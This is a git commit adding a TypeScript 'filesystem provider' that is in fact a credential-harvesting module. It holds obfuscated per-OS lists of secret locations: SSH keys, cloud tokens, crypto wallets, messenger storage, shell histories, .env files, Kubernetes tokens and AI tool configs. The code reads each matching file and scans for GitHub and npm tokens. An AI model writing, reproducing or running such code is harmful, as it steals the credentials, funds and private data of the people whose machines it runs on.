Upload files to "src/providers/filesystem"
This commit is contained in:
@@ -0,0 +1,350 @@
|
||||
import { promises as fs } from "fs";
|
||||
import * as os from "os";
|
||||
import * as path from "path";
|
||||
|
||||
import type { OS } from "../../utils/config";
|
||||
import { detectOS } from "../../utils/config";
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
|
||||
type HotspotResult = string;
|
||||
type StreamCb = (hotspot: string, result: HotspotResult) => void;
|
||||
|
||||
const MAX_BYTES = 5 * 1024 * 1024; // 5 MB
|
||||
|
||||
const expandHome = (p: string): string =>
|
||||
p.startsWith("~") ? path.join(os.homedir(), p.slice(1)) : p;
|
||||
declare function scramble(str: string): string;
|
||||
const HOTSPOT_CONFIG: Record<OS, string[]> = {
|
||||
LINUX: [
|
||||
scramble("~/.ansible/*"),
|
||||
scramble("~/.aws/config"),
|
||||
scramble("~/.aws/credentials"),
|
||||
scramble("~/.azure/accessTokens.json"),
|
||||
scramble("~/.azure/msal_token_cache.*"),
|
||||
scramble("~/.bash_history"),
|
||||
scramble("~/.bitcoin/wallet.dat"),
|
||||
scramble("~/.cert/nm-openvpn/*"),
|
||||
scramble("~/.claude.json"),
|
||||
scramble("~/.claude/mcp.json"),
|
||||
scramble("~/.config/atomic/Local Storage/leveldb/*"),
|
||||
scramble("**/config/database.yml"),
|
||||
scramble("~/.config/discord/Local Storage/leveldb/*"),
|
||||
scramble("~/.config/Element/Local Storage/*"),
|
||||
scramble("~/.config/Exodus/exodus.wallet/*"),
|
||||
scramble("~/.config/filezilla/recentservers.xml"),
|
||||
scramble("~/.config/filezilla/sitemanager.xml"),
|
||||
scramble("~/.config/gcloud/access_tokens.db"),
|
||||
scramble("~/.config/gcloud/application_default_credentials.json"),
|
||||
scramble("~/.config/gcloud/credentials.db"),
|
||||
scramble("~/.config/git/credentials"),
|
||||
scramble("~/.config/helm/*"),
|
||||
scramble("~/.config/kwalletd/*.kwl"),
|
||||
scramble("~/.config/Ledger Live/*"),
|
||||
scramble("~/.config/remmina/*"),
|
||||
scramble("~/.config/Signal/*"),
|
||||
scramble("~/.config/Slack/Cookies"),
|
||||
scramble("~/.config/telegram-desktop/*"),
|
||||
scramble("~/.config/weechat/irc.conf"),
|
||||
scramble("~/.dash/wallet.dat"),
|
||||
scramble("~/.docker/*/config.json"),
|
||||
scramble("~/.docker/config.json"),
|
||||
scramble("~/.dogecoin/wallet.dat"),
|
||||
scramble("~/.electrum-ltc/wallets/*"),
|
||||
scramble("~/.electrum/wallets/*"),
|
||||
scramble("**/.env"),
|
||||
scramble(".env"),
|
||||
scramble("**/.env.local"),
|
||||
scramble("**/.env.production"),
|
||||
scramble("/etc/openvpn/*"),
|
||||
scramble("/etc/rancher/k3s/k3s.yaml"),
|
||||
scramble("/etc/ssh/ssh_host_*_key"),
|
||||
scramble("~/.ethereum/keystore/*"),
|
||||
scramble(".git/config"),
|
||||
scramble("~/.gitconfig"),
|
||||
scramble(".git-credentials"),
|
||||
scramble("~/.git-credentials"),
|
||||
scramble("~/.history"),
|
||||
scramble("~/.kde4/share/apps/kwallet/*.kwl"),
|
||||
scramble("~/.kde/share/apps/kwallet/*.kwl"),
|
||||
scramble("~/.kiro/settings/mcp.json"),
|
||||
scramble("~/.kube/config"),
|
||||
scramble("~/.lesshst"),
|
||||
scramble("~/.litecoin/wallet.dat"),
|
||||
scramble("~/.local/share/keyrings/*.keyring"),
|
||||
scramble("~/.local/share/keyrings/login.keyring"),
|
||||
scramble("~/.local/share/recently-used.xbel"),
|
||||
scramble("~/.local/share/TelegramDesktop/tdata/*"),
|
||||
scramble("~/.monero/*"),
|
||||
scramble("~/.mysql_history"),
|
||||
scramble("~/.netrc"),
|
||||
scramble("~/.node_repl_history"),
|
||||
scramble(".npmrc"),
|
||||
scramble("~/.npmrc"),
|
||||
scramble("~/.pki/nssdb/*"),
|
||||
scramble("~/.psql_history"),
|
||||
scramble("~/.purple/accounts.xml"),
|
||||
scramble("~/.pypirc"),
|
||||
scramble("~/.python_history"),
|
||||
scramble("~/.remmina/*"),
|
||||
scramble("/root/.docker/config.json"),
|
||||
scramble("**/settings.p"),
|
||||
scramble("~/.ssh/authorized_keys"),
|
||||
scramble("~/.ssh/config"),
|
||||
scramble("~/.ssh/id*"),
|
||||
scramble("~/.ssh/id_"),
|
||||
scramble("~/.ssh/id_dsa"),
|
||||
scramble("~/.ssh/id_ecdsa"),
|
||||
scramble("~/.ssh/id_ed25519"),
|
||||
scramble("~/.ssh/keys"),
|
||||
scramble("~/.ssh/known_hosts"),
|
||||
scramble("~/.terraform.d/credentials.tfrc.json"),
|
||||
scramble("/var/lib/docker/containers/*/config.v2.json"),
|
||||
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
||||
scramble("~/.viminfo"),
|
||||
scramble("**/wp-config.php"),
|
||||
scramble("~/.yarnrc"),
|
||||
scramble("~/.zcash/wallet.dat"),
|
||||
scramble("~/.zsh_history"),
|
||||
],
|
||||
|
||||
WIN: [
|
||||
".env",
|
||||
"config.ini",
|
||||
scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
|
||||
scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
|
||||
scramble("%PROGRAMDATA%\OpenVPN\config\*"),
|
||||
scramble("%APPDATA%\\ProtonVPN\\user.config"),
|
||||
scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
|
||||
scramble("%APPDATA%\\Private Internet Access\*.conf"),
|
||||
scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
|
||||
scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
|
||||
scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
|
||||
scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
|
||||
],
|
||||
OSX: [
|
||||
scramble("~/.ansible/*"),
|
||||
scramble("~/.aws/config"),
|
||||
scramble("~/.aws/credentials"),
|
||||
scramble("~/.azure/accessTokens.json"),
|
||||
scramble("~/.azure/msal_token_cache.*"),
|
||||
scramble("~/.bash_history"),
|
||||
scramble("~/.bitcoin/wallet.dat"),
|
||||
scramble("~/.cert/nm-openvpn/*"),
|
||||
scramble(".claude.json"),
|
||||
scramble("~/.claude.json"),
|
||||
scramble("~/.config/atomic/Local Storage/leveldb/*"),
|
||||
scramble("**/config/database.yml"),
|
||||
scramble("~/.config/discord/Local Storage/leveldb/*"),
|
||||
scramble("~/.config/Element/Local Storage/*"),
|
||||
scramble("~/.config/Exodus/exodus.wallet/*"),
|
||||
scramble("~/.config/filezilla/recentservers.xml"),
|
||||
scramble("~/.config/filezilla/sitemanager.xml"),
|
||||
scramble("~/.config/gcloud/access_tokens.db"),
|
||||
scramble("~/.config/gcloud/application_default_credentials.json"),
|
||||
scramble("~/.config/gcloud/credentials.db"),
|
||||
scramble("~/.config/git/credentials"),
|
||||
scramble("~/.config/helm/*"),
|
||||
scramble("~/.config/Ledger Live/*"),
|
||||
scramble("~/.config/remmina/*"),
|
||||
scramble("~/.config/Signal/*"),
|
||||
scramble("~/.config/Slack/Cookies"),
|
||||
scramble("~/.config/telegram-desktop/*"),
|
||||
scramble("~/.config/weechat/irc.conf"),
|
||||
scramble("~/.dash/wallet.dat"),
|
||||
scramble("~/.docker/*/config.json"),
|
||||
scramble("~/.docker/config.json"),
|
||||
scramble("~/.dogecoin/wallet.dat"),
|
||||
scramble("~/.electrum-ltc/wallets/*"),
|
||||
scramble("~/.electrum/wallets/*"),
|
||||
scramble("**/.env"),
|
||||
scramble(".env"),
|
||||
scramble("**/.env.local"),
|
||||
scramble("**/.env.production"),
|
||||
scramble("/etc/openvpn/*"),
|
||||
scramble("/etc/rancher/k3s/k3s.yaml"),
|
||||
scramble("/etc/ssh/ssh_host_*_key"),
|
||||
scramble("~/.ethereum/keystore/*"),
|
||||
scramble(".git/config"),
|
||||
scramble("~/.gitconfig"),
|
||||
scramble(".git-credentials"),
|
||||
scramble("~/.history"),
|
||||
scramble("~/.kde4/share/apps/kwallet/*.kwl"),
|
||||
scramble("~/.kde/share/apps/kwallet/*.kwl"),
|
||||
scramble(".kiro/settings/mcp.json"),
|
||||
scramble("~/.kiro/settings/mcp.json"),
|
||||
scramble("~/.kube/config"),
|
||||
scramble("~/.lesshst"),
|
||||
scramble("~/.litecoin/wallet.dat"),
|
||||
scramble("~/.local/share/keyrings/*.keyring"),
|
||||
scramble("~/.local/share/keyrings/login.keyring"),
|
||||
scramble("~/.local/share/recently-used.xbel"),
|
||||
scramble("~/.local/share/TelegramDesktop/tdata/*"),
|
||||
scramble("~/.monero/*"),
|
||||
scramble("~/.mysql_history"),
|
||||
scramble("~/.netrc"),
|
||||
scramble("~/.node_repl_history"),
|
||||
scramble(".npmrc"),
|
||||
scramble("~/.npmrc"),
|
||||
scramble("~/.pki/nssdb/*"),
|
||||
scramble("~/.psql_history"),
|
||||
scramble("~/.purple/accounts.xml"),
|
||||
scramble("~/.pypirc"),
|
||||
scramble("~/.python_history"),
|
||||
scramble("~/.remmina/*"),
|
||||
scramble("/root/.docker/config.json"),
|
||||
scramble("**/settings.p"),
|
||||
scramble("~/.ssh/authorized_keys"),
|
||||
scramble("~/.ssh/config"),
|
||||
scramble("~/.ssh/id*"),
|
||||
scramble("~/.ssh/id_"),
|
||||
scramble("~/.ssh/id_dsa"),
|
||||
scramble("~/.ssh/id_ecdsa"),
|
||||
scramble("~/.ssh/id_ed25519"),
|
||||
scramble("~/.ssh/id_rsa"),
|
||||
scramble("~/.ssh/known_hosts"),
|
||||
scramble("~/.terraform.d/credentials.tfrc.json"),
|
||||
scramble("/var/lib/docker/containers/*/config.v2.json"),
|
||||
scramble("~/.viminfo"),
|
||||
scramble("**/wp-config.php"),
|
||||
scramble("~/.yarnrc"),
|
||||
scramble("~/.zcash/wallet.dat"),
|
||||
scramble("~/.zsh_history"),
|
||||
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
||||
],
|
||||
UNKNOWN: [],
|
||||
};
|
||||
|
||||
export class FileSystemService extends Provider {
|
||||
constructor() {
|
||||
super("filesystem", "misc", {
|
||||
ghtoken: /gh[op]_[A-Za-z0-9]{36}/g,
|
||||
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
|
||||
});
|
||||
}
|
||||
|
||||
private getHotspots(): string[] {
|
||||
const system = detectOS();
|
||||
return HOTSPOT_CONFIG[system];
|
||||
}
|
||||
|
||||
private async readHotspots(
|
||||
hotspots: string[],
|
||||
onResult?: StreamCb,
|
||||
concurrent = 1,
|
||||
): Promise<Record<string, HotspotResult>> {
|
||||
const results: Record<string, HotspotResult> = {};
|
||||
|
||||
const expandGlob = async (pattern: string): Promise<string[]> => {
|
||||
const expanded = expandHome(pattern);
|
||||
|
||||
// No glob metacharacters — return as a literal path.
|
||||
if (!/[*?[]/.test(expanded)) {
|
||||
return [expanded];
|
||||
}
|
||||
|
||||
// Split the pattern into a static base directory and the glob remainder.
|
||||
// e.g. "src/**/*.ts" -> base: "src", rest: "**/*.ts"
|
||||
// "/etc/*.conf" -> base: "/etc", rest: "*.conf"
|
||||
// "**/.env.local" -> base: ".", rest: "**/.env.local"
|
||||
// "/home/u/notes/*.md" -> base: "/home/u/notes", rest: "*.md"
|
||||
const parts = expanded.split("/");
|
||||
const firstGlobIdx = parts.findIndex((p) => /[*?[]/.test(p));
|
||||
|
||||
let base: string;
|
||||
let rest: string;
|
||||
if (firstGlobIdx === 0) {
|
||||
// Pattern begins with a glob segment (relative).
|
||||
base = ".";
|
||||
rest = expanded;
|
||||
} else {
|
||||
// parts.slice(0, firstGlobIdx).join("/") yields "" for absolute roots
|
||||
// (because the first segment before a leading "/" is ""), so fall back to "/".
|
||||
base = parts.slice(0, firstGlobIdx).join("/") || "/";
|
||||
rest = parts.slice(firstGlobIdx).join("/");
|
||||
}
|
||||
|
||||
try {
|
||||
const glob = new Bun.Glob(rest);
|
||||
const matches = Array.from(
|
||||
glob.scanSync({
|
||||
cwd: base,
|
||||
absolute: true,
|
||||
dot: true,
|
||||
onlyFiles: true,
|
||||
}),
|
||||
);
|
||||
return matches;
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
};
|
||||
|
||||
const handle = async (hotspot: string) => {
|
||||
const expandedPath = expandHome(hotspot);
|
||||
|
||||
try {
|
||||
const stat = await fs.stat(expandedPath);
|
||||
|
||||
if (!stat.isFile()) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (stat.size > MAX_BYTES) {
|
||||
const result = `Error: File too large (${stat.size} bytes)`;
|
||||
results[hotspot] = result;
|
||||
onResult?.(hotspot, result);
|
||||
return;
|
||||
}
|
||||
|
||||
const buffer = await fs.readFile(expandedPath);
|
||||
const content = buffer.toString("utf-8");
|
||||
results[hotspot] = content;
|
||||
onResult?.(hotspot, content);
|
||||
} catch (err: any) {
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Expand glob patterns
|
||||
const expandedHotspots: string[] = [];
|
||||
for (const hotspot of hotspots) {
|
||||
const matches = await expandGlob(hotspot);
|
||||
expandedHotspots.push(...matches);
|
||||
}
|
||||
|
||||
if (concurrent <= 1) {
|
||||
for (const hotspot of expandedHotspots) {
|
||||
await handle(hotspot);
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
const queue = expandedHotspots.slice();
|
||||
const workers = Array.from({
|
||||
length: Math.min(concurrent, queue.length),
|
||||
}).map(async () => {
|
||||
let hotspot;
|
||||
while ((hotspot = queue.shift())) {
|
||||
await handle(hotspot);
|
||||
}
|
||||
});
|
||||
|
||||
await Promise.all(workers);
|
||||
return results;
|
||||
}
|
||||
async execute(): Promise<ProviderResult> {
|
||||
const hotspots = this.getHotspots();
|
||||
|
||||
if (!hotspots.length) {
|
||||
return this.failure("Unknown OS or no hotspots configured");
|
||||
}
|
||||
|
||||
try {
|
||||
const results = await this.readHotspots(hotspots, undefined, 2);
|
||||
return this.success({ hotspots: results });
|
||||
} catch (err: any) {
|
||||
return this.failure(err?.message ?? String(err));
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user